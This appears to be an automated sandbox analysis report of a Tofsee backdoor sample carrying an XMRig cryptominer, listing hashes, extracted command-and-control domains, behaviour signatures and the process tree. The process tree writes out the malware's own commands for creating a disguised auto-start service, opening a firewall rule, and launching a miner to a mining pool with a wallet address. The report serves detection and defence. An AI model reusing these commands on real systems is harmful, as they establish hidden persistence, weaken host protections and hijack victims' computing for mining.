Analysis

  • max time kernel
    144s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-02-2023 02:42

General

  • Target

    file.exe

  • Size

    299KB

  • MD5

    f39c23e01b50e97b9be6b2eee432e696

  • SHA1

    0bf245d40e951083f47298a57ae5f6ff1a8c917f

  • SHA256

    60c32223f5aeff7391c5d42a614967742da61c2379b52c50934b03f91b35e897

  • SHA512

    cba535e1544b8b159f20199f4b1fc10848c8c724973c65efb8cbe47ed2915b3791d138181aa6e2336e662769775e9fe45ac36d9f3b3cdb2ef226034e3277a7a4

  • SSDEEP

    3072:/Pb6b6BLo5nRmQ+3wM2ABSuq6Y6eiiDRbgvisCSnWuQjiMTE58NfRa5D:HpBLo5UQAwMLLnDmRbgviPuQj9HRa

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4532
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\nzklodgh\
      2⤵
        PID:4764
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\tqkliqgn.exe" C:\Windows\SysWOW64\nzklodgh\
        2⤵
          PID:3776
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create nzklodgh binPath= "C:\Windows\SysWOW64\nzklodgh\tqkliqgn.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:624
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description nzklodgh "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1996
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start nzklodgh
          2⤵
          • Launches sc.exe
          PID:1160
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4652
      • C:\Windows\SysWOW64\nzklodgh\tqkliqgn.exe
        C:\Windows\SysWOW64\nzklodgh\tqkliqgn.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4700
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3096
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1392

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\tqkliqgn.exe
        Filesize

        13.2MB

        MD5

        a8c7ce4d1852de07ff9dee2e3fbc0f96

        SHA1

        8fd66add51383533e5d5d54702c3e2fef9fd0707

        SHA256

        138043a2f0747f6a8bd302132900fc727b55b9a6ea875e94ea42654e318ab1ec

        SHA512

        95386955d77bd8860596bfad2d0b18ed087554f5c5d68dbfa97767754777fcdc0c10bc931c1ce8e02e1ee6e2dfd5a88f9ff52f684dfcbf3919ea84c0e5dacf68

      • C:\Windows\SysWOW64\nzklodgh\tqkliqgn.exe
        Filesize

        13.2MB

        MD5

        a8c7ce4d1852de07ff9dee2e3fbc0f96

        SHA1

        8fd66add51383533e5d5d54702c3e2fef9fd0707

        SHA256

        138043a2f0747f6a8bd302132900fc727b55b9a6ea875e94ea42654e318ab1ec

        SHA512

        95386955d77bd8860596bfad2d0b18ed087554f5c5d68dbfa97767754777fcdc0c10bc931c1ce8e02e1ee6e2dfd5a88f9ff52f684dfcbf3919ea84c0e5dacf68

      • memory/624-138-0x0000000000000000-mapping.dmp
      • memory/1160-140-0x0000000000000000-mapping.dmp
      • memory/1392-177-0x0000000000600000-0x00000000006F1000-memory.dmp
        Filesize

        964KB

      • memory/1392-172-0x0000000000600000-0x00000000006F1000-memory.dmp
        Filesize

        964KB

      • memory/1392-171-0x0000000000000000-mapping.dmp
      • memory/1996-139-0x0000000000000000-mapping.dmp
      • memory/3096-146-0x0000000000720000-0x0000000000735000-memory.dmp
        Filesize

        84KB

      • memory/3096-151-0x0000000000720000-0x0000000000735000-memory.dmp
        Filesize

        84KB

      • memory/3096-168-0x00000000029E0000-0x00000000029E7000-memory.dmp
        Filesize

        28KB

      • memory/3096-165-0x0000000007500000-0x000000000790B000-memory.dmp
        Filesize

        4.0MB

      • memory/3096-162-0x00000000029D0000-0x00000000029D5000-memory.dmp
        Filesize

        20KB

      • memory/3096-145-0x0000000000000000-mapping.dmp
      • memory/3096-159-0x0000000001DB0000-0x0000000001DC0000-memory.dmp
        Filesize

        64KB

      • memory/3096-156-0x0000000001DA0000-0x0000000001DA6000-memory.dmp
        Filesize

        24KB

      • memory/3096-153-0x0000000002600000-0x000000000280F000-memory.dmp
        Filesize

        2.1MB

      • memory/3096-152-0x0000000000720000-0x0000000000735000-memory.dmp
        Filesize

        84KB

      • memory/3776-136-0x0000000000000000-mapping.dmp
      • memory/4532-132-0x000000000052E000-0x0000000000544000-memory.dmp
        Filesize

        88KB

      • memory/4532-144-0x0000000000400000-0x00000000004C7000-memory.dmp
        Filesize

        796KB

      • memory/4532-142-0x000000000052E000-0x0000000000544000-memory.dmp
        Filesize

        88KB

      • memory/4532-134-0x0000000000400000-0x00000000004C7000-memory.dmp
        Filesize

        796KB

      • memory/4532-133-0x0000000002200000-0x0000000002213000-memory.dmp
        Filesize

        76KB

      • memory/4652-141-0x0000000000000000-mapping.dmp
      • memory/4700-150-0x0000000000400000-0x00000000004C7000-memory.dmp
        Filesize

        796KB

      • memory/4700-148-0x0000000000659000-0x000000000066F000-memory.dmp
        Filesize

        88KB

      • memory/4764-135-0x0000000000000000-mapping.dmp